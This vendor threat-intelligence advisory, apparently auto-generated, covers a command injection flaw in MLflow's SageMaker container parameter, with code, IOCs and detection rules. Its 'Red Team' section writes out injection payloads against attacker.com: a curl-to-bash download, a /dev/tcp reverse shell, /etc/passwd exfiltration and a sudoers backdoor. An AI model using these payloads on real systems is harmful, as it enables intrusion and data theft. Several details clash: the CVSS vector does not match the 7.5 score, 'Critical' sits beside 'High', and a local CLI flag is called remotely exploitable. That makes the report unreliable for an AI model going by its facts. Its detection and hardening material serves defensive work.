CVE-2025-14287
Executive Summary
CVE-2025-14287 is a critical command injection vulnerability in the MLflow machine learning lifecycle platform, affecting versions prior to v3.7.0. The flaw resides in the mlflow/sagemaker/__init__.py file, where user-supplied container image names are directly interpolated into shell commands without sanitization, leading to arbitrary command execution via the --container CLI parameter. This vulnerability impacts development setups, CI/CD pipelines, and cloud deployments, with a CVSS score of 7.5 (High). No public exploit code or proof-of-concept is currently available, but the attack vector is straightforward, making it a high-priority target for threat actors.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
MLflow is a widely used open-source platform for managing the machine learning lifecycle, distributed via PyPI. This vulnerability introduces a significant supply chain risk, as compromised MLflow instances can lead to lateral movement, data exfiltration, or deployment of backdoors within ML pipelines. Organizations using MLflow in CI/CD or cloud environments should treat this as a critical supply chain security issue.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Base Score: 7.5 (High)
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: None (PR:N) – no authentication needed.
- User Interaction: None (UI:N) – no user action required.
- Scope: Unchanged (S:U) – impact confined to the vulnerable component.
- Confidentiality Impact: High (C:H) – full data access possible.
- Integrity Impact: High (I:H) – arbitrary command execution.
- Availability Impact: High (A:H) – potential for denial of service.
Threat Level: Critical. The low complexity and lack of required privileges make this vulnerability highly attractive for automated exploitation, especially in exposed MLflow instances.
Deep Dive & Mechanics
The vulnerability is located in mlflow/sagemaker/__init__.py, lines 161-167. The code constructs a shell command by directly concatenating user-supplied input (the container image name) into a string, which is then executed via os.system(). This allows an attacker to inject arbitrary shell commands by including shell metacharacters (e.g., ;, |, &&) in the --container parameter.
Vulnerable Code Path:
# Vulnerable snippet (simplified)
container = args.container # User-supplied, unsanitized
cmd = f"docker pull {container} && docker run {container} ..."
os.system(cmd)
An attacker can supply a value like malicious_image; curl http://attacker.com/backdoor.sh | sh to execute arbitrary commands.
Vulnerable vs. Patched Code
Vulnerable (pre-v3.7.0):
# mlflow/sagemaker/__init__.py (lines 161-167)
def _run_sagemaker(args):
container = args.container
cmd = f"docker pull {container} && docker run {container} ..."
os.system(cmd)
Patched (v3.7.0+):
# Patched version uses subprocess with argument list to avoid shell injection
import subprocess
def _run_sagemaker(args):
container = args.container
# Validate container name against a whitelist or sanitize
if not re.match(r'^[a-zA-Z0-9_./:-]+$', container):
raise ValueError("Invalid container name")
subprocess.run(["docker", "pull", container], check=True)
subprocess.run(["docker", "run", container, ...], check=True)
The patch replaces os.system() with subprocess.run() using a list of arguments, which prevents shell interpretation. Additionally, input validation is added to reject malicious characters.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- MLflow instance with SageMaker integration exposed (e.g., via CLI or API).
- Network access to the target.
Exploitation Steps:
- Identify an MLflow instance that accepts the
--containerparameter (e.g., viamlflow sagemaker build-and-push-container --container). - Craft a malicious container name with command injection payload:
mlflow sagemaker build-and-push-container --container "legit_image; curl http://attacker.com/shell.sh | bash" - Execute the command. The injected payload will run with the privileges of the MLflow process.
Example Payloads:
- Reverse shell:
image; bash -i >& /dev/tcp/attacker.com/4444 0>&1 - Data exfiltration:
image; curl http://attacker.com/steal?data=$(cat /etc/passwd) - Persistence:
image; echo "attacker ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual
dockercommands executed by the MLflow process. - Alert on shell metacharacters (
;,|,&&,`) in container image name parameters. - Use endpoint detection and response (EDR) to detect
os.system()orsubprocess.Popen(shell=True)calls with user input.
Hardening:
- Immediately upgrade to MLflow v3.7.0 or later.
- If upgrade is not possible, restrict access to the SageMaker CLI to trusted users only.
- Implement a web application firewall (WAF) rule to block requests containing shell metacharacters in the
--containerparameter. - Use network segmentation to isolate MLflow instances from critical systems.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound connections to attacker-controlled IPs on common ports (e.g., 4444, 8080).
- DNS queries to domains associated with known C2 infrastructure.
- File IOCs:
- Unexpected files in
/tmp/or/var/tmp/(e.g.,shell.sh,backdoor.sh). - Modified system binaries or configuration files (e.g.,
/etc/sudoers).
- Unexpected files in
- Process IOCs:
- MLflow process spawning unexpected child processes (e.g.,
bash,curl,wget). dockercommands with suspicious arguments (e.g., containing;or|).
- MLflow process spawning unexpected child processes (e.g.,
- Log IOCs:
- MLflow logs showing container names with shell metacharacters.
- System logs (e.g.,
/var/log/syslog) showing unusual command executions.
Detection Engineering
YARA Rule
rule CVE_2025_14287_MLflow_Command_Injection {
meta:
description = "Detects command injection attempts targeting CVE-2025-14287 in MLflow"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-14287"
strings:
$s1 = "os.system" ascii wide nocase
$s2 = "container" ascii wide nocase
$s3 = "docker pull" ascii wide nocase
$s4 = /[;|&`$(){}]/
condition:
all of ($s1, $s2, $s3) and #s4 > 0
}
Sigma Rule
title: MLflow Command Injection via Container Parameter
id: cve-2025-14287
status: experimental
description: Detects command injection attempts in MLflow SageMaker container parameter
author: Valters IT
date: 2025-04-10
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/mlflow'
CommandLine|contains|all:
- 'container'
- 'docker pull'
CommandLine|contains:
- ';'
- '|'
- '&&'
- '`'
condition: selection
falsepositives:
- Legitimate use of shell metacharacters in container names (unlikely)
level: high
Suricata Rule
alert tcp any any -> any any (msg:"CVE-2025-14287 MLflow Command Injection Attempt"; flow:to_server,established; content:"container"; nocase; content:"docker pull"; nocase; pcre:"/[;|&`$(){}]/"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update MLflow to v3.7.0 or later. This is the only complete fix.
- Workaround: If upgrade is not possible, disable the SageMaker CLI or restrict its usage to trusted users via authentication and authorization controls.
- Input Validation: Implement a reverse proxy or WAF to validate the
--containerparameter, rejecting any input containing shell metacharacters.
Long-Term Measures:
- Adopt secure coding practices: avoid
os.system()and usesubprocess.run()with argument lists. - Conduct regular security audits of MLflow deployments.
- Monitor for new CVEs and apply patches promptly.
Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact cti@valters-it.com.